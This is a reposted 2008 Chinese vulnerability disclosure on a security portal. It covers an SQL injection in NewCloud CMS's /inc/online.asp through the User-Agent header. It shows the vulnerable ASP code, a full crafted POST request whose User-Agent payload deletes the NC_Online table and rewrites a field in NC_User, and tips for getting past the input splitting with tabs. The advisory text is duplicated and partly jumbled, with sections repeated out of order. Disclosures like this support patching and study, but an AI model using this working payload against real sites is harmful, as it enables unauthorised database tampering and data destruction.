| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
新云CMS Online.asp页面漏洞
新云CMS Online.asp页面过滤不严导致SQL注入漏洞
作者:未知 文章来源:互联网 点击数: 更新时间:2008-3-23 9:59:53

  漏洞发布:yamato[BCT]

  发布日期:

  2008-2-15

  更新日期:

  2008-2-21

  受影响系统

  最新版本

  漏洞文件:

  /inc/online.asp

  代码分析如下:

  OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip,browser,startTime,lastTime,userid,strReferer) VALUES (" & UserSessionID & "," & cid & ",'" & strUsername & "','" & stridentitys & "','" & CurrentStation & "','" & remoteaddr & "','" & BrowserType.platform&"|"&BrowserType.Browser&BrowserType.version & "|"&BrowserType.AlexaToolbar&"'," & NowString & "," & NowString & "," & userid & ",'" & strReferer & "')" //第69行

  。。。。。。

  Agent = Request.ServerVariables("HTTP_USER_AGENT") //第99行

  。。。。。。

  ElseIf Left(Agent, 5) = "Opera" Then '有此标识为浏览器 //第162行

  Agent = Split(Agent, "/")

  Browser = "Mozilla "

  Tmpstr = Split(Agent(1), " ")

  version = Tmpstr(0)

  HTTP_USER_AGENT我们可以控制,则version变量我们就可以控制了。

  构造数据包如下:

  POST /inc/online.asp HTTP/1.1

  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

  Referer: http://localhost/xx.htm

  Accept-Language: zh-cn

  UA-CPU: x86

  Accept-Encoding: gzip, deflate

  User-Agent: Opera/haha',2008,2009,11111,'');delete from NC_Online;update[NC_User]set[buycode]=7;--

  Host: localhost

  Connection: Keep-Alive新云CMS Online.asp页面过滤不严导致SQL注入漏洞

  -------------------------------------

  注:本站首发,转载请保留,谢谢!

  http://www.neeao.com

  Neeao's Security Blog

  -------------------------------------

  漏洞发布:yamato[BCT]

  发布日期:

  2008-2-15

  更新日期:

  2008-2-21

  受影响系统

  最新版本

  漏洞文件:

  /inc/online.asp

  代码分析如下:

  OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip,browser,startTime,lastTime,userid,strReferer) VALUES (" & UserSessionID & "," & cid & ",'" & strUsername & "','" & stridentitys & "','" & CurrentStation & "','" & remoteaddr & "','" & BrowserType.platform&"|"&BrowserType.Browser&BrowserType.version & "|"&BrowserType.AlexaToolbar&"'," & NowString & "," & NowString & "," & userid & ",'" & strReferer & "')" //第69行

  。。。。。。

  Agent = Request.ServerVariables("HTTP_USER_AGENT") //第99行

  。。。。。。

  ElseIf Left(Agent, 5) = "Opera" Then '有此标识为浏览器 //第162行

  Agent = Split(Agent, "/")

  Browser = "Mozilla "

  Tmpstr = Split(Agent(1), " ")

  version = Tmpstr(0)

  HTTP_USER_AGENT我们可以控制,则version变量我们就可以控制了。

  构造数据包如下:

  POST /inc/online.asp HTTP/1.1

  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

  Referer: http://localhost/xx.htm

  Accept-Language: zh-cn

  UA-CPU: x86

  Accept-Encoding: gzip, deflate

  User-Agent: Opera/haha',2008,2009,11111,'');delete from NC_Online;update[NC_User]set[buycode]=7;--

  Host: localhost

  Connection: Keep-Alive

  Cookie: ASPSESSIONIDAABBCRRS=FFGNDBDDKJLFADOGOMKLBGPF

  成功执行sql语句

  注意的地方:

  1. 在两次分割成数组的时候是以"/"和" ",所以构造的sql语句时使用的间隔符就不能用/**/和空格,上面是使用tab键弄出来的空格。

  2. 一定要加上delete from NC_Online,不然下次程序就不执行insert语句,而改成执行update语句了。

  Cookie: ASPSESSIONIDAABBCRRS=FFGNDBDDKJLFADOGOMKLBGPF

  成功执行sql语句

  注意的地方:

  1. 在两次分割成数组的时候是以"/"和" ",所以构造的sql语句时使用的间隔符就不能用/**/和空格,上面是使用tab键弄出来的空格。

  2. 一定要加上delete from NC_Online,不然下次程序就不执行insert语句,而改成执行update语句了。

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    没有相关文章
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有